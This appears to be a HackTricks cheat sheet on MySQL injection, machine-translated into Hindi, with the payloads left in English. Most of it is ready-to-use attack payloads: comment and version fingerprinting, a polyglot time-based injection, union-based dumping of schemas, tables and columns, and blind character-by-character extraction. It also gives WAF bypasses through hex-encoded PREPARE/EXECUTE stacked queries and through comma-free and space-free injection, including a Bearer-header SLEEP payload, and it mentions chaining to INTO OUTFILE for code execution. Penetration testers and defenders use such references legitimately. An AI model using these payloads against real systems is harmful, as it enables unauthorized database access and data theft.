MySQL injection
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
टिप्पणियाँ
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
दिलचस्प फ़ंक्शन
Confirm Mysql:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
उपयोगी फ़ंक्शन
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
सभी इंजेक्शन
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
Flow
याद रखें कि MySQL के "आधुनिक" संस्करणों में आप "information_schema.tables" को "mysql.innodb_table_stats" के लिए प्रतिस्थापित कर सकते हैं (यह WAFs को बायपास करने के लिए उपयोगी हो सकता है)।
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
केवल 1 मान
group_concat()
Limit X,1
ब्लाइंड एक-एक करके
substr(version(),X,1)='r'
याsubstring(version(),X,1)=0x70
याascii(substr(version(),X,1))=112
mid(version(),X,1)='5'
ब्लाइंड जोड़ना
LPAD(version(),1...lenght(version()),'1')='asd'...
RPAD(version(),1...lenght(version()),'1')='asd'...
SELECT RIGHT(version(),1...lenght(version()))='asd'...
SELECT LEFT(version(),1...lenght(version()))='asd'...
SELECT INSTR('foobarbar', 'fo...')=1
कॉलम की संख्या का पता लगाना
एक साधारण ORDER का उपयोग करके
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL यूनियन आधारित
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
यहाँ विभिन्न विकल्पों के बारे में जानें Mysql injection का दुरुपयोग करके SSRF प्राप्त करने के लिए.
WAF बायपास ट्रिक्स
तैयार बयानों के माध्यम से क्वेरी निष्पादित करना
जब स्टैक्ड क्वेरी की अनुमति होती है, तो यह संभव है कि WAFs को बायपास किया जा सके, एक वेरिएबल को उस क्वेरी के हेक्स प्रतिनिधित्व को असाइन करके जिसे आप निष्पादित करना चाहते हैं (SET का उपयोग करके), और फिर PREPARE और EXECUTE MySQL बयानों का उपयोग करके अंततः क्वेरी को निष्पादित करें। कुछ ऐसा:
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
For more information please refer to this blog post.
Information_schema alternatives
याद रखें कि MySQL के "आधुनिक" संस्करणों में आप information_schema.tables को mysql.innodb_table_stats या sys.x$schema_flattened_keys या sys.schema_table_statistics के लिए प्रतिस्थापित कर सकते हैं।
MySQLinjection without COMMAS
Select 2 columns without using any comma (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Retrieving values without the column name
यदि किसी समय आपको तालिका का नाम पता है लेकिन आपको तालिका के अंदर कॉलम के नाम नहीं पता हैं, तो आप यह पता लगाने की कोशिश कर सकते हैं कि कितने कॉलम हैं, कुछ इस तरह निष्पादित करके:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
मान लीजिए कि 2 कॉलम हैं (पहला कॉलम ID है) और दूसरा कॉलम फ्लैग है, आप फ्लैग की सामग्री को अक्षर दर अक्षर ब्रूटफोर्स करने की कोशिश कर सकते हैं:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
More info in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
Injection without SPACES (/**/
comment trick)
कुछ एप्लिकेशन उपयोगकर्ता इनपुट को sscanf("%128s", buf)
जैसी फ़ंक्शंस के साथ साफ़ या पार्स करते हैं जो पहले स्पेस कैरेक्टर पर रुक जाती हैं।
क्योंकि MySQL अनुक्रम /**/
को एक टिप्पणी और सफेद स्थान के रूप में मानता है, इसका उपयोग सामान्य स्पेस को पूरी तरह से हटाने के लिए किया जा सकता है जबकि क्वेरी को व्याकरणिक रूप से मान्य रखा जा सकता है।
स्पेस फ़िल्टर को बायपास करते हुए समय-आधारित ब्लाइंड इंजेक्शन का उदाहरण:
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
जिसे डेटाबेस प्राप्त करता है:
' OR SLEEP(5)-- -'
यह विशेष रूप से उपयोगी है जब:
- नियंत्रित बफर का आकार सीमित है (जैसे
%128s
) और स्पेस इनपुट को समय से पहले समाप्त कर देंगे। - HTTP हेडर या अन्य फ़ील्ड के माध्यम से इंजेक्ट करना जहाँ सामान्य स्पेस को हटा दिया जाता है या विभाजक के रूप में उपयोग किया जाता है।
- पूर्ण प्री-ऑथ RCE प्राप्त करने के लिए
INTO OUTFILE
प्राइमिटिव के साथ संयोजन में (MySQL फ़ाइल RCE अनुभाग देखें)।
MySQL इतिहास
आप MySQL में तालिका पढ़कर अन्य निष्पादन देख सकते हैं: sys.x$statement_analysis
संस्करण विकल्पs
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
अन्य MYSQL इंजेक्शन गाइड
संदर्भ
- PayloadsAllTheThings – MySQL Injection cheatsheet
- Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।